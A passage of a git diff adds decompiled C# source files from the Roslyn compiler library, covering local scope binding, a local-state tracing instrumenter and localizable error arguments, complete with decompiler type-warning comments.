SyntaxKind.LockStatement: + { + Binder binder = enclosingBinder.GetBinder((SyntaxNode)(object)statementSyntax); + ExpressionVariableFinder.FindExpressionVariables(this, locals, statementSyntax, binder); + break; + } + } + static void findExpressionVariablesInRankSpecifier(ExpressionSyntax expression, (LocalScopeBinder localScopeBinder, ArrayBuilder locals, Binder localDeclarationBinder) args) + { + if (expression.Kind() != SyntaxKind.OmittedArraySizeExpression) + { + ExpressionVariableFinder.FindExpressionVariables(args.localScopeBinder, args.locals, expression, args.localDeclarationBinder); + } + } + } + + protected ImmutableArray BuildLocalFunctions(SyntaxList statements) + { + //IL_0004: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + ArrayBuilder locals = null; + Enumerator enumerator = statements.GetEnumerator(); + while (enumerator.MoveNext()) + { + StatementSyntax current = enumerator.Current; + BuildLocalFunctions(current, ref locals); + } + return locals?.ToImmutableAndFree() ?? ImmutableArray.Empty; + } + + internal void BuildLocalFunctions(StatementSyntax statement, ref ArrayBuilder locals) + { + StatementSyntax statementSyntax = statement; + while (statementSyntax.Kind() == SyntaxKind.LabeledStatement) + { + statementSyntax = ((LabeledStatementSyntax)statementSyntax).Statement; + } + if (statementSyntax.Kind() == SyntaxKind.LocalFunctionStatement) + { + LocalFunctionStatementSyntax declaration = (LocalFunctionStatementSyntax)statementSyntax; + if (locals == null) + { + locals = ArrayBuilder.GetInstance(); + } + LocalFunctionSymbol localFunctionSymbol = MakeLocalFunction(declaration); + locals.Add(localFunctionSymbol); + } + } + + protected SourceLocalSymbol MakeLocal(VariableDeclarationSyntax declaration, VariableDeclaratorSyntax declarator, LocalDeclarationKind kind, bool allowScoped, Binder initializerBinderOpt = null) + { + //IL_0011: Unknown result type (might be due to invalid IL or missing references) + return SourceLocalSymbol.MakeLocal(ContainingMemberOrLambda, this, allowRefKind: true, allowScoped, declaration.Type, declarator.Identifier, kind, declarator.Initializer, initializerBinderOpt); + } + + protected LocalFunctionSymbol MakeLocalFunction(LocalFunctionStatementSyntax declaration) + { + return new LocalFunctionSymbol(this, ContainingMemberOrLambda, declaration); + } + + protected void BuildLabels(SyntaxList statements, ref ArrayBuilder labels) + { + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + MethodSymbol containingMethod = (MethodSymbol)ContainingMemberOrLambda; + Enumerator enumerator = statements.GetEnumerator(); + while (enumerator.MoveNext()) + { + StatementSyntax current = enumerator.Current; + BuildLabels(containingMethod, current, ref labels); + } + } + + internal static void BuildLabels(MethodSymbol containingMethod, StatementSyntax statement, ref ArrayBuilder labels) + { + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + while (statement.Kind() == SyntaxKind.LabeledStatement) + { + LabeledStatementSyntax labeledStatementSyntax = (LabeledStatementSyntax)statement; + if (labels == null) + { + labels = ArrayBuilder.GetInstance(); + } + SourceLabelSymbol sourceLabelSymbol = new SourceLabelSymbol(containingMethod, SyntaxNodeOrToken.op_Implicit(labeledStatementSyntax.Identifier)); + labels.Add((LabelSymbol)sourceLabelSymbol); + statement = labeledStatementSyntax.Statement; + } + } + + protected override SourceLocalSymbol LookupLocal(SyntaxToken nameToken) + { + //IL_006d: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + //IL_0026: Unknown result type (might be due to invalid IL or missing references) + //IL_004f: Unknown result type (might be due to invalid IL or missing references) + //IL_0054: Unknown result type (might be due to invalid IL or missing references) + LocalSymbol localSymbol = null; + if (LocalsMap != null && LocalsMap.TryGetValue(((SyntaxToken)(ref nameToken)).ValueText, ref localSymbol)) + { + if (localSymbol.IdentifierToken == nameToken) + { + return (SourceLocalSymbol)localSymbol; + } + ImmutableArray.Enumerator enumerator = Locals.GetEnumerator(); + while (enumerator.MoveNext()) + { + LocalSymbol current = enumerator.Current; + if (current.IdentifierToken == nameToken) + { + return (SourceLocalSymbol)current; + } + } + } + return base.LookupLocal(nameToken); + } + + protected override LocalFunctionSymbol LookupLocalFunction(SyntaxToken nameToken) + { + //IL_0063: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + //IL_0026: Unknown result type (might be due to invalid IL or missing references) + //IL_004a: Unknown result type (might be due to invalid IL or missing references) + //IL_004f: Unknown result type (might be due to invalid IL or missing references) + LocalFunctionSymbol localFunctionSymbol = null; + if (LocalFunctionsMap != null && LocalFunctionsMap.TryGetValue(((SyntaxToken)(ref nameToken)).ValueText, ref localFunctionSymbol)) + { + if (localFunctionSymbol.NameToken == nameToken) + { + return localFunctionSymbol; + } + ImmutableArray.Enumerator enumerator = LocalFunctions.GetEnumerator(); + while (enumerator.MoveNext()) + { + LocalFunctionSymbol current = enumerator.Current; + if (current.NameToken == nameToken) + { + return current; + } + } + } + return base.LookupLocalFunction(nameToken); + } + + internal override void LookupSymbolsInSingleBinder(LookupResult result, string name, int arity, ConsList basesBeingResolved, LookupOptions options, Binder originalBinder, bool diagnose, ref CompoundUseSiteInfo useSiteInfo) + { + if ((options & LookupOptions.LabelsOnly) != LookupOptions.Default) + { + SmallDictionary labelsMap = LabelsMap; + LabelSymbol symbol = default(LabelSymbol); + if (labelsMap != null && labelsMap.TryGetValue(name, ref symbol)) + { + result.MergeEqual(LookupResult.Good(symbol)); + } + return; + } + SmallDictionary localsMap = LocalsMap; + LocalSymbol symbol2 = default(LocalSymbol); + if (localsMap != null && (options & LookupOptions.NamespaceAliasesOnly) == 0 && localsMap.TryGetValue(name, ref symbol2)) + { + result.MergeEqual(originalBinder.CheckViability(symbol2, arity, options, null, diagnose, ref useSiteInfo, basesBeingResolved)); + } + SmallDictionary localFunctionsMap = LocalFunctionsMap; + LocalFunctionSymbol symbol3 = default(LocalFunctionSymbol); + if (localFunctionsMap != null && options.CanConsiderLocals() && localFunctionsMap.TryGetValue(name, ref symbol3)) + { + result.MergeEqual(originalBinder.CheckViability(symbol3, arity, options, null, diagnose, ref useSiteInfo, basesBeingResolved)); + } + } + + internal override void AddLookupSymbolsInfoInSingleBinder(LookupSymbolsInfo result, LookupOptions options, Binder originalBinder) + { + //IL_0017: Unknown result type (might be due to invalid IL or missing references) + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_005e: Unknown result type (might be due to invalid IL or missing references) + //IL_0063: Unknown result type (might be due to invalid IL or missing references) + //IL_00ad: Unknown result type (might be due to invalid IL or missing references) + //IL_00b2: Unknown result type (might be due to invalid IL or missing references) + if ((options & LookupOptions.LabelsOnly) != LookupOptions.Default && LabelsMap != null) + { + Enumerator enumerator = LabelsMap.GetEnumerator(); + while (enumerator.MoveNext()) + { + KeyValuePair current = enumerator.Current; + ((AbstractLookupSymbolsInfo)result).AddSymbol((Symbol)current.Value, current.Key, 0); + } + } + if (!options.CanConsiderLocals()) + { + return; + } + if (LocalsMap != null) + { + Enumerator enumerator2 = LocalsMap.GetEnumerator(); + while (enumerator2.MoveNext()) + { + KeyValuePair current2 = enumerator2.Current; + if (originalBinder.CanAddLookupSymbolInfo(current2.Value, options, result, null)) + { + ((AbstractLookupSymbolsInfo)result).AddSymbol((Symbol)current2.Value, current2.Key, 0); + } + } + } + if (LocalFunctionsMap == null) + { + return; + } + Enumerator enumerator3 = LocalFunctionsMap.GetEnumerator(); + while (enumerator3.MoveNext()) + { + KeyValuePair current3 = enumerator3.Current; + if (originalBinder.CanAddLookupSymbolInfo(current3.Value, options, result, null)) + { + ((AbstractLookupSymbolsInfo)result).AddSymbol((Symbol)current3.Value, current3.Key, 0); + } + } + } + + private bool ReportConflictWithLocal(Symbol local, Symbol newSymbol, string name, Location newLocation, BindingDiagnosticBag diagnostics) + { + //IL_0004: Unknown result type (might be due to invalid IL or missing references) + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Invalid comparison between Unknown and I4 + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + //IL_0017: Invalid comparison between Unknown and I4 + //IL_0031: Unknown result type (might be due to invalid IL or missing references) + //IL_0034: Invalid comparison between Unknown and I4 + //IL_008f: Unknown result type (might be due to invalid IL or missing references) + //IL_0091: Unknown result type (might be due to invalid IL or missing references) + //IL_0093: Invalid comparison between Unknown and I4 + //IL_0052: Unknown result type (might be due to invalid IL or missing references) + //IL_0057: Unknown result type (might be due to invalid IL or missing references) + //IL_0065: Unknown result type (might be due to invalid IL or missing references) + //IL_006a: Unknown result type (might be due to invalid IL or missing references) + //IL_0095: Unknown result type (might be due to invalid IL or missing references) + //IL_0098: Unknown result type (might be due to invalid IL or missing references) + //IL_00b2: Expected I4, but got Unknown + SymbolKind val = (SymbolKind)(((object)newSymbol == null) ? 13 : ((int)newSymbol.Kind)); + if ((int)val == 4) + { + return true; + } + if ((0u | (((int)val == 8 && Locals.Contains((LocalSymbol)newSymbol)) ? 1u : 0u) | (((int)val == 9 && LocalFunctions.Contains((LocalFunctionSymbol)newSymbol)) ? 1u : 0u)) != 0) + { + TextSpan sourceSpan = newLocation.SourceSpan; + int start = ((TextSpan)(ref sourceSpan)).Start; + sourceSpan = local.GetFirstLocation().SourceSpan; + if (start >= ((TextSpan)(ref sourceSpan)).Start) + { + diagnostics.Add(ErrorCode.ERR_LocalDuplicate, newLocation, name); + return true; + } + } + if (val - 8 > 1) + { + switch (val - 13) + { + case 0: + case 4: + break; + case 3: + diagnostics.Add(ErrorCode.ERR_QueryRangeVariableOverrides, newLocation, name); + return true; + default: + diagnostics.Add(ErrorCode.ERR_InternalError, newLocation); + return false; + } + } + diagnostics.Add(ErrorCode.ERR_LocalIllegallyOverrides, newLocation, name); + return true; + } + + internal virtual bool EnsureSingleDefinition(Symbol symbol, string name, Location location, BindingDiagnosticBag diagnostics) + { + LocalSymbol localSymbol = null; + LocalFunctionSymbol localFunctionSymbol = null; + SmallDictionary localsMap = LocalsMap; + SmallDictionary localFunctionsMap = LocalFunctionsMap; + if ((localsMap != null && localsMap.TryGetValue(name, ref localSymbol)) || (localFunctionsMap != null && localFunctionsMap.TryGetValue(name, ref localFunctionSymbol))) + { + Symbol symbol2 = (Symbol)(((object)localSymbol) ?? ((object)localFunctionSymbol)); + if (symbol == symbol2) + { + return false; + } + return ReportConflictWithLocal(symbol2, symbol, name, location, diagnostics); + } + return false; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/LocalStateTracingInstrumenter.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/LocalStateTracingInstrumenter.cs new file mode 100644 index 0000000..2bab93c --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/LocalStateTracingInstrumenter.cs @@ -0,0 +1,453 @@ +using System.Collections.Immutable; +using System.Diagnostics.CodeAnalysis; +using System.Linq; +using Microsoft.CodeAnalysis.CSharp.Symbols; +using Microsoft.CodeAnalysis.CSharp.Syntax; +using Microsoft.CodeAnalysis.PooledObjects; +using Microsoft.CodeAnalysis.Shared.Collections; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class LocalStateTracingInstrumenter : CompoundInstrumenter +{ + private sealed class Scope + { + public LocalSymbol ContextVariable; + + private ArrayBuilder? _lazyPreviousContextVariables; + + public Scope(LocalSymbol contextVariable) + { + ContextVariable = contextVariable; + } + + public void Open(LocalSymbol local) + { + if (_lazyPreviousContextVariables == null) + { + _lazyPreviousContextVariables = ArrayBuilder.GetInstance(); + } + ArrayBuilderExtensions.Push(_lazyPreviousContextVariables, ContextVariable); + ContextVariable = local; + } + + public void Close(bool isMethodBody) + { + ArrayBuilder lazyPreviousContextVariables = _lazyPreviousContextVariables; + if (lazyPreviousContextVariables != null && lazyPreviousContextVariables.Count > 0) + { + ContextVariable = ArrayBuilderExtensions.Pop(_lazyPreviousContextVariables); + } + if (isMethodBody) + { + _lazyPreviousContextVariables?.Free(); + _lazyPreviousContextVariables = null; + } + } + } + + private readonly Scope _scope; + + private readonly SyntheticBoundNodeFactory _factory; + + private readonly BindingDiagnosticBag _diagnostics; + + private readonly TypeSymbol _contextType; + + private LocalStateTracingInstrumenter(Scope scope, TypeSymbol contextType, SyntheticBoundNodeFactory factory, BindingDiagnosticBag diagnostics, Instrumenter previous) + : base(previous) + { + _scope = scope; + _contextType = contextType; + _factory = factory; + _diagnostics = diagnostics; + } + + protected override CompoundInstrumenter WithPreviousImpl(Instrumenter previous) + { + return new LocalStateTracingInstrumenter(_scope, _contextType, _factory, _diagnostics, previous); + } + + public static bool TryCreate(MethodSymbol method, BoundStatement methodBody, SyntheticBoundNodeFactory factory, BindingDiagnosticBag diagnostics, Instrumenter previous, [NotNullWhen(true)] out LocalStateTracingInstrumenter? instrumenter) + { + instrumenter = null; + if (method.IsImplicitlyDeclared && !method.IsImplicitConstructor) + { + return false; + } + if (method is SourceMemberMethodSymbol sourceMemberMethodSymbol) + { + (BlockSyntax, ArrowExpressionClauseSyntax) bodies = sourceMemberMethodSymbol.Bodies; + if (bodies.Item2 == null && bodies.Item1 == null && !(sourceMemberMethodSymbol is SynthesizedSimpleProgramEntryPointSymbol)) + { + return false; + } + } + NamedTypeSymbol wellKnownType = factory.Compilation.GetWellKnownType((WellKnownType)265); + if (IsSameOrNestedType(method.ContainingType, wellKnownType)) + { + return false; + } + Scope scope = new Scope(factory.SynthesizedLocal(wellKnownType, methodBody.Syntax, isPinned: false, isKnownToReferToTempIfReferenceType: false, (RefKind)0, (SynthesizedLocalKind)36)); + instrumenter = new LocalStateTracingInstrumenter(scope, wellKnownType, factory, diagnostics, previous); + return true; + } + + private static bool IsSameOrNestedType(NamedTypeSymbol type, NamedTypeSymbol otherType) + { + while (true) + { + if (type.Equals(otherType)) + { + return true; + } + if ((object)type.ContainingType == null) + { + break; + } + type = type.ContainingType; + } + return false; + } + + private MethodSymbol? GetLocalOrParameterStoreLogger(TypeSymbol variableType, Symbol targetSymbol, bool? refAssignmentSourceIsLocal, SyntaxNode syntax) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Invalid comparison between Unknown and I4 + //IL_0048: Unknown result type (might be due to invalid IL or missing references) + //IL_004d: Unknown result type (might be due to invalid IL or missing references) + //IL_004f: Unknown result type (might be due to invalid IL or missing references) + //IL_0052: Unknown result type (might be due to invalid IL or missing references) + //IL_0090: Expected I4, but got Unknown + //IL_01a8: Unknown result type (might be due to invalid IL or missing references) + //IL_01ae: Unknown result type (might be due to invalid IL or missing references) + //IL_01af: Unknown result type (might be due to invalid IL or missing references) + //IL_01b1: Unknown result type (might be due to invalid IL or missing references) + //IL_0173: Unknown result type (might be due to invalid IL or missing references) + //IL_017a: Invalid comparison between Unknown and I4 + int num = (((int)targetSymbol.Kind == 13) ? 13 : 0); + WellKnownMember? val; + if (refAssignmentSourceIsLocal.HasValue) + { + val = ((refAssignmentSourceIsLocal != true) ? new WellKnownMember?((WellKnownMember)374) : new WellKnownMember?((WellKnownMember)388)); + } + else + { + SpecialType specialType = variableType.EnumUnderlyingTypeOrSelf().SpecialType; + WellKnownMember? val2; + switch (specialType - 7) + { + case 0: + val2 = (WellKnownMember)362; + break; + case 2: + case 3: + val2 = (WellKnownMember)363; + break; + case 1: + case 4: + case 5: + val2 = (WellKnownMember)364; + break; + case 6: + case 7: + val2 = (WellKnownMember)365; + break; + case 8: + case 9: + val2 = (WellKnownMember)366; + break; + case 11: + val2 = (WellKnownMember)367; + break; + case 12: + val2 = (WellKnownMember)368; + break; + case 10: + val2 = (WellKnownMember)369; + break; + case 13: + val2 = (WellKnownMember)370; + break; + default: + val2 = ((!variableType.IsPointerOrFunctionPointer()) ? (variableType.IsManagedTypeNoUseSiteDiagnostics ? ((variableType.IsRefLikeType && !hasOverriddenToString(variableType)) ? ((WellKnownMember?)null) : (((int)variableType.TypeKind != 10) ? new WellKnownMember?((WellKnownMember)371) : new WellKnownMember?((WellKnownMember)370))) : new WellKnownMember?((WellKnownMember)373)) : new WellKnownMember?((WellKnownMember)372)); + break; + } + val = val2; + } + WellKnownMember? val3 = val; + if (!val3.HasValue) + { + return null; + } + WellKnownMember overload = (WellKnownMember)(val3.Value + num); + return GetWellKnownMethodSymbol(overload, syntax); + static bool hasOverriddenToString(TypeSymbol typeSymbol) + { + return typeSymbol.GetMembers("ToString").Any((Symbol m) => (object)m.GetOverriddenMember() != null); + } + } + + private MethodSymbol? GetWellKnownMethodSymbol(WellKnownMember overload, SyntaxNode syntax) + { + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + return (MethodSymbol)Binder.GetWellKnownTypeMember(_factory.Compilation, overload, _diagnostics, null, syntax); + } + + public override void PreInstrumentBlock(BoundBlock original, LocalRewriter rewriter) + { + base.Previous.PreInstrumentBlock(original, rewriter); + if (rewriter.CurrentLambdaBody == original) + { + _scope.Open(_factory.SynthesizedLocal(_contextType, original.Syntax, isPinned: false, isKnownToReferToTempIfReferenceType: false, (RefKind)0, (SynthesizedLocalKind)36)); + } + } + + public override void InstrumentBlock(BoundBlock original, LocalRewriter rewriter, ref TemporaryArray additionalLocals, out BoundStatement? prologue, out BoundStatement? epilogue, out BoundBlockInstrumentation? instrumentation) + { + //IL_0096: Unknown result type (might be due to invalid IL or missing references) + //IL_009c: Invalid comparison between Unknown and I4 + //IL_029c: Unknown result type (might be due to invalid IL or missing references) + //IL_02a1: Unknown result type (might be due to invalid IL or missing references) + //IL_02ab: Unknown result type (might be due to invalid IL or missing references) + base.InstrumentBlock(original, rewriter, ref additionalLocals, out BoundStatement prologue2, out epilogue, out instrumentation); + bool flag = rewriter.CurrentMethodBody == original; + bool flag2 = rewriter.CurrentLambdaBody == original; + if (!flag && !flag2) + { + prologue = prologue2; + return; + } + bool flag3 = _factory.CurrentFunction.IsAsync || _factory.CurrentFunction.IsIterator; + ArrayBuilder instance = ArrayBuilder.GetInstance(_factory.CurrentFunction.ParameterCount); + ImmutableArray.Enumerator enumerator = _factory.CurrentFunction.Parameters.GetEnumerator(); + while (enumerator.MoveNext()) + { + ParameterSymbol current = enumerator.Current; + if ((int)current.RefKind != 2 && !current.IsDiscard) + { + MethodSymbol localOrParameterStoreLogger = GetLocalOrParameterStoreLogger(current.Type, current, null, _factory.Syntax); + if (localOrParameterStoreLogger != null) + { + instance.Add((BoundStatement)_factory.ExpressionStatement(_factory.Call(_factory.Local(_scope.ContextVariable), localOrParameterStoreLogger, MakeStoreLoggerArguments(localOrParameterStoreLogger.Parameters[0], current, current.Type, _factory.Parameter(current), null, _factory.Literal((int)(ushort)current.Ordinal))))); + } + } + } + if (prologue2 != null) + { + instance.Add(prologue2); + } + prologue = _factory.StatementList(instance.ToImmutableAndFree()); + (WellKnownMember, BoundExpression[]) tuple = ((!flag2) ? (flag3 ? ((WellKnownMember)358, new BoundExpression[2] + { + _factory.MethodDefIndex(_factory.TopLevelMethod), + _factory.StateMachineInstanceId() + }) : ((WellKnownMember)356, new BoundExpression[1] { _factory.MethodDefIndex(_factory.TopLevelMethod) })) : (flag3 ? ((WellKnownMember)359, new BoundExpression[3] + { + _factory.MethodDefIndex(_factory.TopLevelMethod), + _factory.MethodDefIndex(_factory.CurrentFunction), + _factory.StateMachineInstanceId() + }) : ((WellKnownMember)357, new BoundExpression[2] + { + _factory.MethodDefIndex(_factory.TopLevelMethod), + _factory.MethodDefIndex(_factory.CurrentFunction) + }))); + (WellKnownMember, BoundExpression[]) tuple2 = tuple; + WellKnownMember item = tuple2.Item1; + BoundExpression[] item2 = tuple2.Item2; + MethodSymbol wellKnownMethodSymbol = GetWellKnownMethodSymbol(item, _factory.Syntax); + BoundStatement prologue3 = ((wellKnownMethodSymbol != null) ? _factory.Assignment(_factory.Local(_scope.ContextVariable), _factory.Call(null, wellKnownMethodSymbol, item2)) : _factory.NoOp(NoOpStatementFlavor.Default)); + MethodSymbol wellKnownMethodSymbol2 = GetWellKnownMethodSymbol((WellKnownMember)360, _factory.Syntax); + BoundStatement epilogue2 = ((wellKnownMethodSymbol2 != null) ? _factory.ExpressionStatement(_factory.Call(_factory.Local(_scope.ContextVariable), wellKnownMethodSymbol2)) : _factory.NoOp(NoOpStatementFlavor.Default)); + instrumentation = new BoundBlockInstrumentation(_factory.Syntax, _scope.ContextVariable, prologue3, epilogue2); + _scope.Close(flag); + } + + public override BoundExpression InstrumentUserDefinedLocalAssignment(BoundAssignmentOperator original) + { + //IL_0030: Unknown result type (might be due to invalid IL or missing references) + BoundExpression boundExpression = base.InstrumentUserDefinedLocalAssignment(original); + bool? refAssignmentSourceIsLocal; + BoundExpression refAssignmentSourceIndex; + if (original.IsRef) + { + if (original.Right is BoundLocal boundLocal) + { + LocalSymbol localSymbol = boundLocal.LocalSymbol; + if ((object)localSymbol != null && (int)localSymbol.SynthesizedKind == 0) + { + refAssignmentSourceIsLocal = true; + refAssignmentSourceIndex = _factory.LocalId(boundLocal.LocalSymbol); + goto IL_008e; + } + } + if (!(original.Right is BoundParameter boundParameter)) + { + return boundExpression; + } + refAssignmentSourceIsLocal = false; + refAssignmentSourceIndex = _factory.ParameterId(boundParameter.ParameterSymbol); + } + else + { + refAssignmentSourceIsLocal = null; + refAssignmentSourceIndex = null; + } + goto IL_008e; + IL_008e: + if (!TryGetLocalOrParameterInfo(original.Left, out Symbol symbol, out TypeSymbol type, out BoundExpression indexExpression)) + { + throw ExceptionUtilities.UnexpectedValue((object)original.Left); + } + MethodSymbol localOrParameterStoreLogger = GetLocalOrParameterStoreLogger(type, symbol, refAssignmentSourceIsLocal, original.Syntax); + if ((object)localOrParameterStoreLogger == null) + { + return boundExpression; + } + SyntheticBoundNodeFactory factory = _factory; + BoundExpression[] sideEffects = new BoundCall[1] { _factory.Call(_factory.Local(_scope.ContextVariable), localOrParameterStoreLogger, MakeStoreLoggerArguments(localOrParameterStoreLogger.Parameters[0], symbol, type, boundExpression, refAssignmentSourceIndex, indexExpression)) }; + return factory.Sequence(sideEffects, VariableRead(symbol)); + } + + private bool TryGetLocalOrParameterInfo(BoundNode node, [NotNullWhen(true)] out Symbol? symbol, [NotNullWhen(true)] out TypeSymbol? type, [NotNullWhen(true)] out BoundExpression? indexExpression) + { + if (node is BoundLocal boundLocal) + { + LocalSymbol localSymbol = (LocalSymbol)(symbol = boundLocal.LocalSymbol); + type = localSymbol.Type; + indexExpression = _factory.LocalId(localSymbol); + return true; + } + if (node is BoundParameter boundParameter) + { + ParameterSymbol parameterSymbol = (ParameterSymbol)(symbol = boundParameter.ParameterSymbol); + type = parameterSymbol.Type; + indexExpression = _factory.ParameterId(parameterSymbol); + return true; + } + symbol = null; + indexExpression = null; + type = null; + return false; + } + + private ImmutableArray MakeStoreLoggerArguments(ParameterSymbol parameter, Symbol targetSymbol, TypeSymbol targetType, BoundExpression value, BoundExpression? refAssignmentSourceIndex, BoundExpression index) + { + //IL_00c7: Unknown result type (might be due to invalid IL or missing references) + //IL_00ce: Invalid comparison between Unknown and I4 + //IL_00d1: Unknown result type (might be due to invalid IL or missing references) + //IL_00d8: Invalid comparison between Unknown and I4 + if (refAssignmentSourceIndex != null) + { + return ImmutableArray.Create(_factory.Sequence(new BoundExpression[1] { value }, refAssignmentSourceIndex), index); + } + if (parameter.Type.IsVoidPointer() && !targetType.IsPointerOrFunctionPointer()) + { + bool flag = ((value is BoundLocal || value is BoundParameter) ? true : false); + return ImmutableArray.Create(flag ? ((BoundExpression)new BoundAddressOfOperator(_factory.Syntax, value, isManaged: false, parameter.Type)) : ((BoundExpression)_factory.Sequence(new BoundExpression[1] { value }, new BoundAddressOfOperator(_factory.Syntax, VariableRead(targetSymbol), isManaged: false, parameter.Type))), _factory.Sizeof(targetType), index); + } + if ((int)parameter.Type.SpecialType == 20 && (int)targetType.SpecialType != 20) + { + MethodSymbol wellKnownMethodSymbol = GetWellKnownMethodSymbol((WellKnownMember)0, value.Syntax); + BoundExpression item = (((object)wellKnownMethodSymbol != null) ? ((BoundExpression)_factory.Call(value, wellKnownMethodSymbol)) : ((BoundExpression)_factory.Literal(""))); + return ImmutableArray.Create(item, index); + } + return ImmutableArray.Create(_factory.Convert(parameter.Type, value), index); + } + + private BoundExpression VariableRead(Symbol localOrParameterSymbol) + { + if (!(localOrParameterSymbol is LocalSymbol local)) + { + if (localOrParameterSymbol is ParameterSymbol p) + { + return _factory.Parameter(p); + } + throw ExceptionUtilities.UnexpectedValue((object)localOrParameterSymbol); + } + return _factory.Local(local); + } + + public override void InstrumentCatchBlock(BoundCatchBlock original, ref BoundExpression? rewrittenSource, ref BoundStatementList? rewrittenFilterPrologue, ref BoundExpression? rewrittenFilter, ref BoundBlock rewrittenBody, ref TypeSymbol? rewrittenType, SyntheticBoundNodeFactory factory) + { + base.InstrumentCatchBlock(original, ref rewrittenSource, ref rewrittenFilterPrologue, ref rewrittenFilter, ref rewrittenBody, ref rewrittenType, factory); + if (original.WasCompilerGenerated) + { + return; + } + LocalSymbol localSymbol = original.Locals.FirstOrDefault((LocalSymbol l) => (int)l.SynthesizedKind == 0); + if ((object)localSymbol != null) + { + TypeSymbol type = localSymbol.Type; + BoundExpression index = _factory.LocalId(localSymbol); + MethodSymbol localOrParameterStoreLogger = GetLocalOrParameterStoreLogger(type, localSymbol, null, original.Syntax); + if ((object)localOrParameterStoreLogger != null) + { + BoundExpressionStatement boundExpressionStatement = _factory.ExpressionStatement(_factory.Call(_factory.Local(_scope.ContextVariable), localOrParameterStoreLogger, MakeStoreLoggerArguments(localOrParameterStoreLogger.Parameters[0], localSymbol, type, VariableRead(localSymbol), null, index))); + rewrittenFilterPrologue = _factory.StatementList((rewrittenFilterPrologue != null) ? ImmutableArray.Create((BoundStatement)boundExpressionStatement, (BoundStatement)rewrittenFilterPrologue) : ImmutableArray.Create((BoundStatement)boundExpressionStatement)); + } + } + } + + public override BoundExpression InstrumentCall(BoundCall original, BoundExpression rewritten) + { + return InstrumentCall(base.InstrumentCall(original, rewritten), original.Arguments, original.ArgumentRefKindsOpt); + } + + public override BoundExpression InstrumentObjectCreationExpression(BoundObjectCreationExpression original, BoundExpression rewritten) + { + return InstrumentCall(base.InstrumentObjectCreationExpression(original, rewritten), original.Arguments, original.ArgumentRefKindsOpt); + } + + public override BoundExpression InstrumentFunctionPointerInvocation(BoundFunctionPointerInvocation original, BoundExpression rewritten) + { + return InstrumentCall(base.InstrumentFunctionPointerInvocation(original, rewritten), original.Arguments, original.ArgumentRefKindsOpt); + } + + private BoundExpression InstrumentCall(BoundExpression invocation, ImmutableArray arguments, ImmutableArray refKinds) + { + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + //IL_001f: Invalid comparison between Unknown and I4 + //IL_0051: Unknown result type (might be due to invalid IL or missing references) + //IL_0056: Unknown result type (might be due to invalid IL or missing references) + //IL_0058: Unknown result type (might be due to invalid IL or missing references) + //IL_005b: Unknown result type (might be due to invalid IL or missing references) + //IL_005d: Invalid comparison between Unknown and I4 + if (refKinds.IsDefaultOrEmpty) + { + return invocation; + } + ArrayBuilder instance = ArrayBuilder.GetInstance(); + BoundLocal boundLocal = null; + if ((int)invocation.Type.SpecialType != 6) + { + boundLocal = _factory.StoreToTemp(invocation, out BoundAssignmentOperator store, (RefKind)0, (SynthesizedLocalKind)(-2)); + instance.Add((BoundExpression)store); + } + else + { + instance.Add(invocation); + } + for (int i = 0; i < arguments.Length; i++) + { + RefKind val = refKinds[i]; + bool flag = val - 1 <= 1; + if (flag && TryGetLocalOrParameterInfo(arguments[i], out Symbol symbol, out TypeSymbol type, out BoundExpression indexExpression)) + { + MethodSymbol localOrParameterStoreLogger = GetLocalOrParameterStoreLogger(type, symbol, null, invocation.Syntax); + if ((object)localOrParameterStoreLogger != null) + { + instance.Add((BoundExpression)_factory.Call(_factory.Local(_scope.ContextVariable), localOrParameterStoreLogger, MakeStoreLoggerArguments(localOrParameterStoreLogger.Parameters[0], symbol, type, VariableRead(symbol), null, indexExpression))); + } + } + } + if (boundLocal != null) + { + return _factory.Sequence(ImmutableArray.Create(boundLocal.LocalSymbol), instance.ToImmutableAndFree(), boundLocal); + } + BoundExpression result = instance.Last(); + instance.RemoveLast(); + return _factory.Sequence(ImmutableArray.Empty, instance.ToImmutableAndFree(), result); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/LocalizableErrorArgument.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/LocalizableErrorArgument.cs new file mode 100644 index 0000000..52adee2 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/LocalizableErrorArgument.cs @@ -0,0 +1,24 @@ +using System; +using System.Globalization; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal readonly struct LocalizableErrorArgument : IFormattable +{ + private readonly MessageID _id; + + internal LocalizableErrorArgument(MessageID id) + { + _id = id; + } + + public override string ToString() + { + return ToString(null, null); + } + + public string ToString(string? format, IFormatProvider? formatProvider) + { + return ErrorFacts.GetMessage(_id, formatProvider as CultureInfo); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/LockBinder.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/LockBinder.cs new file mode 100644 index 0000000..965482c --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/LockBinder.cs @@ -0,0 +1,40 @@ +using Microsoft.CodeAnalysis.CSharp.Symbols; +using Microsoft.CodeAnalysis.CSharp.Syntax; + 